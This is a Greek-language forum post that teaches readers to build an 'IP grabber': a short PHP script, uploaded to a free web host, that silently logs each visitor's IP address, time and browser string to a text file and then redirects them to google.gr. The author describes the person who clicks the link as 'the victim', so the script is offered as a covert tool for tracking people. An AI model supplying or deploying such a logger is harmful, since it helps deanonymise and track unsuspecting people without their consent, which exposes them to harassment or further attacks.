Jump to content

[GR]Bρείτε την ip απομακρυσμένου pc[GR]


Recommended Posts

http://www.000webhost.com/ <-- πηγαίνετε εδώ η σε άλλον hoster και ανεβάστε τον παρακάτω κώδικα

 

code:

$ip = $_SERVER['REMOTE_ADDR'];

$dt = date("l dS \of F Y h:i:s A");

$user = $_SERVER['HTTP_USER_AGENT'];

$file=fopen("ip_log.txt","a");

$data = $ip.' '.$dt.' '.$user."\n";

fwrite($file, $data);

fclose($file);

header( 'Location: http://www.google.gr/

') ;

?>

 

όποιος θα επισκέπτεται την σελίδα σας θα εμφανίζετε η ip του στο control panel της σελίδας στον φάκελο ip_log.txt ο οποίος δημιουργείται αυτόματα μετά από τη πρώτη είσοδος στη σελίδα.

 

Τέλος στης τελευταίες γραμμές του κώδικα συναντάμε αυτό header( 'Location: http://www.google.gr/') ; οπού θα βάλουμε την σελίδα που θα επισκέπτεται το θύμα όταν θα πατάει στο link της σελίδας μας

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...